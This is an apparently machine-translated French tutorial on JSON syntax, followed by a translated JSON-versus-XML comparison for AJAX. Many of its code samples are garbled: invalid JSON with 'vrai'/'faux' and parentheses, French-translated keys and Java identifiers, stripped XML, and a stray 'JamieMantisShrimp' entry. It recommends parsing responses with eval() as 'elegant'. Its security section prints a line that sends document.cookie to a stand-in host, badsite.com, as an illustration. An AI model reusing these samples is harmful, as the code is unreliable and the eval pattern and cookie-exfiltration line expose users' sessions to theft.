En écrivant des données JSON dans une colonne, vous améliorez la lisibilité du fichier (surtout s'il contient beaucoup de données). JSON ignore les espaces entre les colonnes, vous pouvez donc les utiliser pour diviser vos données en un nombre gérable de colonnes.

"first_name" : "Jean",
"nom" : "Smith",
"en ligne" : vrai

Notez que les objets JSON sont très similaires aux objets JavaScript, mais ils n'ont pas le même format. Par exemple, vous pouvez utiliser des fonctions en JavaScript, mais pas en JSON.

Le principal avantage de JSON est que les données dans ce format sont prises en charge par de nombreux langages de programmation populaires, ce qui permet de les transférer rapidement.

Vous connaissez désormais la syntaxe de base de JSON. Mais les fichiers JSON peuvent avoir des structures hiérarchiques complexes qui incluent des tableaux et des objets imbriqués.

Types complexes en JSON

JSON peut stocker des objets et des tableaux imbriqués, qui seront transmis comme valeur de la clé qui leur est attribuée.

Objets imbriqués

Vous trouverez ci-dessous un exemple : le fichier users.json, qui contient les données utilisateur. Pour chaque utilisateur

("john", "jesse", "drew", "jamie") un objet imbriqué est transmis sous forme de valeur, qui, à son tour, se compose également de clés et de valeurs.

Remarque : Le premier objet JSON imbriqué est surligné en rouge.

"John" :(
"nom d'utilisateur" : "Jean",
"localisation" : "Londres",
"en ligne" : vrai,
"abonnés" : 987

"Jesse" :(
"nom d'utilisateur" : "Jesse",
"localisation" : "Washington",
"en ligne" : faux,
"abonnés" : 432

"a dessiné" :(
"nom d'utilisateur" : "Drew",
"localisation" : "Paris",
"en ligne" : faux,
"abonnés" : 321

"Jamie" :(
"nom d'utilisateur" : "Jamie",
"localisation" : "Berlin",
"en ligne" : vrai,
"abonnés" : 654

Notez que les accolades sont utilisées à la fois dans l'objet imbriqué et dans l'objet principal. Les virgules dans les objets imbriqués sont utilisées de la même manière que dans les objets normaux.

Tableaux imbriqués

Les données peuvent être imbriquées dans JSON à l'aide de tableaux JavaScript, qui seront transmis sous forme de valeurs. JavaScript utilise des crochets () au début et à la fin d'un tableau. Un tableau est une collection ordonnée de données pouvant contenir différents types de données.

Un tableau permet de transférer une grande quantité de données pouvant être regroupées. Par exemple, essayons d'enregistrer les données utilisateur.

{
"first_name" : "Jean",
"nom" : "Smith",
"localisation" : "Londres",
"sites Internet" : [

"description" : "travail",
"URL" : "https://www.johnsmithsite.com/"

},
{

"desciption" : "tutoriels",
"URL" : "https://www.johnsmithsite.com/tutorials"

"réseaux sociaux" : [

"description" : "twitter",
"lien" : "https://twitter.com/johnsmith"

"description" : "facebook",
"lien" : "https://www.facebook.com/johnsmith"

"description" : "github",
"lien" : "https://github.com/johnsmith"

Les clés « websites » et « social_media » se voient attribuer des tableaux comme valeurs, qui sont placées entre crochets.

À l'aide de tableaux et d'objets imbriqués, vous pouvez créer une hiérarchie de données complexe.

JSON ou XML ?

XML (eXtensible Markup Language) vous permet de stocker des données sous une forme facile à comprendre pour les humains et les machines. Le format XML est supporté par un grand nombre de langages de programmation.

XML et JSON ont beaucoup en commun. Cependant, XML nécessite beaucoup plus de texte, ce qui signifie que ces fichiers sont plus volumineux et plus difficiles à lire et à écrire. De plus, XML n'est traité qu'à l'aide d'un interpréteur XML, tandis que JSON peut être traité à l'aide d'une simple fonction. Contrairement à JSON, XML ne peut pas stocker de tableaux.

Comparons deux fichiers : ils contiennent les mêmes données, mais le premier est écrit au format XML, et le second en JSON.

utilisateurs.xml

John Londres

Jesse Washington

Drew Paris

Jamie Berlin

utilisateurs.json
("utilisateurs": [

("nom d'utilisateur" : "John", "location" : "Londres"),
("nom d'utilisateur" : "Jesse", "location" : "Washington"),
("nom d'utilisateur" : "Drew", "localisation" : "Paris"),
("nom d'utilisateur" : "JamieMantisShrimp", "location" : "Berlin")

JSON est un format très compact et ne nécessite pas autant de balises que XML. De plus, contrairement à JSON, XML ne prend pas en charge les tableaux.

Si vous êtes familier avec le HTML, vous remarquerez que le format XML lui ressemble beaucoup (notamment les balises). JSON est plus simple, nécessite moins de texte et est plus facile à utiliser dans les applications AJAX, par exemple.

Bien entendu, le format doit être choisi en fonction des besoins de l’application.

Outils pour JSON

JSON est couramment utilisé en JavaScript, mais le format est largement utilisé dans d'autres langages de programmation.

Plus d'informations sur la compatibilité et le traitement JSON peuvent être trouvées sur le site Web du projet et dans la bibliothèque jQuery.

Il est rare d'écrire du JSON à partir de zéro. En règle générale, les données sont chargées à partir de la source ou converties en JSON. Vous pouvez convertir des données CSV ou délimitées par des tabulations en JSON à l'aide de l'outil open source Mr. Convertisseur de données. Pour convertir XML en JSON et vice versa, utilisez utility-online.info. Lorsque vous travaillez avec des outils automatiques, assurez-vous de vérifier les résultats.

Les fichiers JSON (y compris les données converties) peuvent être inspectés à l'aide du service JSONLint. Pour tester JSON dans un contexte de développement web, reportez-vous à JSFiddle.

Conclusion

JSON est un format de données simple et léger. Les fichiers JSON sont faciles à transférer, à stocker et à utiliser.

Aujourd'hui, JSON est souvent utilisé dans les API.

Traduction

Remarque : vous trouverez ci-dessous une traduction de l'article de synthèse « JSON vs XML », dédié à JSON et à sa comparaison avec XML selon un certain nombre de critères. Publié afin de populariser JSON auprès des lecteurs Habrahabr.

JSON (JavaScript Object Notation) est un format d'échange de données facile à lire par les utilisateurs, facile à traiter et à générer par les programmes.

Basé sur un sous-ensemble du langage JavaScript, norme ECMA-262 3e édition - décembre 1999.

JSON — Wikipédia

Quel est le format de réponse correct pour XMLHttpRequest dans les applications AJAX ? Pour la plupart des applications basées sur le balisage, la réponse est simple : (X)HTML. Pour les applications centrées sur l’information, le choix se portera entre XML et JSON. Jusqu'à récemment, je ne me demandais pas vraiment ce qu'il était préférable d'utiliser, XML ou JSON. J’ai simplement supposé que dans chaque cas spécifique, il valait la peine de choisir le format le plus adapté, c’est tout. Mais récemment, j'ai eu l'occasion de tester cette approche en pratique. Dans cet article, je décrirai les critères selon lesquels j'ai comparé XML et JSON, ainsi que mes propres conclusions.

Les critères sont donc les suivants.

Lisibilité du code.
Facilité de création d’un objet de données côté serveur.
Traitement facile des données côté client.
Facile à agrandir.
Débogage et correction d'erreurs.
Sécurité.

Lisibilité du code

Personne personne = new Personne(); personne.setFirstName("Subbu"); person.setLastName("Allamaraju"); écrivain.write(JSONObject.fromObject(person).toString());

Lorsque l’on considère le fonctionnement de telles interfaces de programmation, la création de JSON n’est pas très différente de la sérialisation de beans Java en objets. Cependant, il convient de noter qu’il existe désormais bien plus de façons de générer du XML que JSON. Certaines de ces API XML existent depuis de nombreuses années et, pour cette raison, peuvent être plus stables lorsqu'elles sont utilisées pour des applications complexes.

Un autre aspect à considérer sera la quantité de ressources utilisées pour générer la réponse. Si des opérations « lourdes » sont déjà effectuées lors de la réception des données, alors il ne sera pas difficile pour la partie serveur de les convertir en XML pour une réponse. Si la création de XML est l'opération la plus gourmande en ressources, alors il est préférable d'utiliser JSON.

Facilité d'utilisation

Côté client, le traitement des données JSON en réponse à un XMLHttpRequest est extrêmement simple.

Var personne = eval(xhr.responseText); alert(personne.firstName);

En utilisant eval() régulier, vous pouvez convertir la réponse en un objet JavaScript. Une fois cette opération terminée, les données sont accessibles via les propriétés de l'objet converti. C'est la partie la plus élégante de tout JSON.

Regardons maintenant XML. Pour rendre l'extrait de code ci-dessous plus transparent, j'ai supprimé toute vérification d'erreur.

"prénom");

Évidemment, lors du traitement des données reçues du serveur, il est nécessaire de parcourir l'intégralité de l'arborescence DOM. Il s’agit d’une opération très laborieuse et sujette aux erreurs. Malheureusement, dans le navigateur, nous devons gérer le DOM. Les navigateurs ne prennent pas en charge un langage de requête tel que XPath pour récupérer les nœuds d'arborescence dans un document XML. Le support de ces fonctions s'applique déjà à XSLT, mais il est assez limité ( remarque : dans le navigateur) en termes de conversion de XML en balisage (par exemple, HTML). Groupe de travail sur les interfaces Web ( Groupe de travail sur l'API Web) du W3C travaille sur une interface de sélection ( API des sélecteurs), qui peut être utilisé pour appliquer des sélecteurs CSS lors de la sélection de nœuds à partir d'un objet Document. En utilisant une telle interface, il serait possible de transformer l'exemple de code ci-dessus en xml.match("person.firstName") pour obtenir l'élément firstName. Ce n'est pas une grande réussite pour le document XML de cet exemple, mais cela peut être utile pour travailler avec des documents hautement ramifiés. Cette interface n’est pas encore complète et il faudra des années avant que les navigateurs la prennent en charge.

En général, si je dois choisir entre XML et JSON, je préférerai JSON en raison de la facilité d'implémentation du traitement côté client.

Extensibilité

L'extensibilité permet de réduire le nombre de communications entre le fournisseur de données et le destinataire. Dans le contexte des applications AJAX, le script côté client doit être suffisamment invariant par rapport aux modifications compatibles des données.

La croyance générale est que XML est automatiquement extensible simplement en raison de la présence de la lettre « X ». Mais il ne s’agit pas d’une règle inconditionnelle (c’est-à-dire agir par défaut). L'extensibilité XML est basée sur le principe selon lequel vous pouvez définir des nœuds supplémentaires dans votre XML, puis appliquer une règle « ignorer ce qui n'est pas nécessaire » (c'est-à-dire, si vous rencontrez un élément ou un attribut inconnu lors du traitement XML, ignorez-le simplement).

Pour tirer pleinement parti de l'extensibilité, vous devez écrire du code côté client en gardant l'extensibilité à l'esprit. Par exemple, l'exemple suivant ne fonctionnera pas si vous souhaitez insérer, par exemple, un élément middleName.

Var xml = xhr.responseXML ; var elements = xml.getElementsByTagName("firstName"); var firstNameEl = éléments[0]; var lastNameEl = firstNameEl.nextSibling;

Si vous insérez un élément immédiatement après l'élément, cet exemple entraînera une interprétation erronée du deuxième prénom comme un nom de famille. Pour être invariant à ce changement, le code doit être réécrit pour obtenir explicitement l'élément, ou accéder à nextSibling uniquement si un enfant avec le tagName souhaité est trouvé. Ainsi, XML est extensible tant que vous écrivez le code en gardant à l'esprit une extensibilité future. Tout est extrêmement simple.

Revenons à JSON. Je soutiens qu'il est plus facile d'étendre les données JSON que XML. Cela demande sans doute moins d’efforts. Envisageons d'ajouter la propriété middleName à la réponse JSON. Pour y accéder, il vous suffit de l'appeler.

Alerte(personne.middleName);

Ce code ne changera pas si vous ajoutez un deuxième prénom à votre réponse. Mais que faire en cas de traitement d'une personne avec ou sans deuxième prénom ? Avec JSON, c'est facile.

if (person.middleName) ( // Traitement )

Ma position est que si l'on garde à l'esprit l'extensibilité future possible, les données XML et JSON peuvent être étendues. Mais il est plus facile d'étendre les données avec JSON qu'avec XML. Il vous suffit de vérifier que la propriété requise existe sur l'objet et d'agir en fonction du résultat de la vérification.

Une autre option pour étendre les données JSON consiste à utiliser des appels de fonction avec des déclarations de données directement dans la réponse.

Alert("Bonjour - Je" suis une personne"); (("firstName" : "Subbu", "lastName" : "Allamaraju"));

Lorsque les données sont déclarées via eval() , le navigateur appellera également l'expression alert(). Dans ce cas, vous pouvez à la fois charger des données et exécuter des fonctions. Cette approche doit être utilisée avec beaucoup de prudence, car elle encombre la réponse d'appels de fonction et crée une connexion entre les appels et les données. Certaines sources évoquent également les vulnérabilités potentielles en matière de sécurité de cette approche, qui sont discutées plus en détail ci-dessous.

Débogage et correction d'erreurs

Cet aspect s'applique à la fois au côté serveur de votre application et au côté client. Sur le serveur, vous devez vous assurer que les données sont correctement formées et correctes. Du côté client, il devrait être facile de déboguer les erreurs dans la réponse.

Avec XML, il est relativement facile de vérifier que les données envoyées au client sont bien formées et correctes. Vous pouvez utiliser un schéma pour vos données et l'appliquer pour valider les données. Avec JSON, cette tâche devient manuelle et nécessite de vérifier que l'objet résultant possède les bons attributs.

Côté client, dans les deux cas il est difficile de détecter les erreurs. Pour XML, le navigateur ne pourra tout simplement pas le convertir en ResponseXML. Pour de petites quantités de données JSON, vous pouvez utiliser l'extension FireBug pour le débogage et la correction des erreurs. Mais avec de grandes quantités de données, il devient quelque peu difficile de corréler le message d'erreur avec un emplacement spécifique dans le code.

Sécurité

Dave Johnson, dans son article JSON and the Golden Fleece, suggère que JSON peut causer des problèmes de sécurité. L'essentiel de la note est que si vous autorisez l'insertion d'appels de fonction avec des données dans les réponses JSON et que vous utilisez eval() pour traiter la réponse, vous exécutez du code arbitraire, qui peut en fait déjà contenir un risque de sécurité.

Window.location = "http://badsite.com?" + document.cookie ; personne : ( "firstName" : "Subbu", "lastName" : "Allamaraju")

Si la réponse de l'exemple ci-dessus est exécutée, le navigateur enverra les cookies de l'utilisateur au site tiers. Mais dans ce cas-ci, il existe une certaine confusion dans la définition d’une menace pour la sécurité. Vous ne devez pas faire confiance aux données ou au code obtenus à partir d'une source non vérifiée. Et deuxièmement, nous ne pourrons pas utiliser XMLHttpRequest pour communiquer avec des domaines autres que le domaine source du script. Ainsi, seuls les développeurs eux-mêmes, lors de la création d'une application, peuvent initier l'envoi de cookies vers un site tiers. C'est assez douteux, car ils pourraient tout aussi bien placer ce code malveillant n'importe où dans le document, en dehors de la réponse aux données envoyées par le serveur. Il me manque peut-être quelque chose, mais je ne vois pas l'intérêt de considérer JSON comme dangereux par rapport à XML.

Mon choix

Pour les applications centrées sur l'information, je préférerais utiliser JSON plutôt que XML en raison de sa simplicité et de sa facilité de traitement des données côté client. XML est peut-être indispensable sur le serveur, mais JSON est nettement plus facile à utiliser sur le client.

Il pourrait être utile de lire :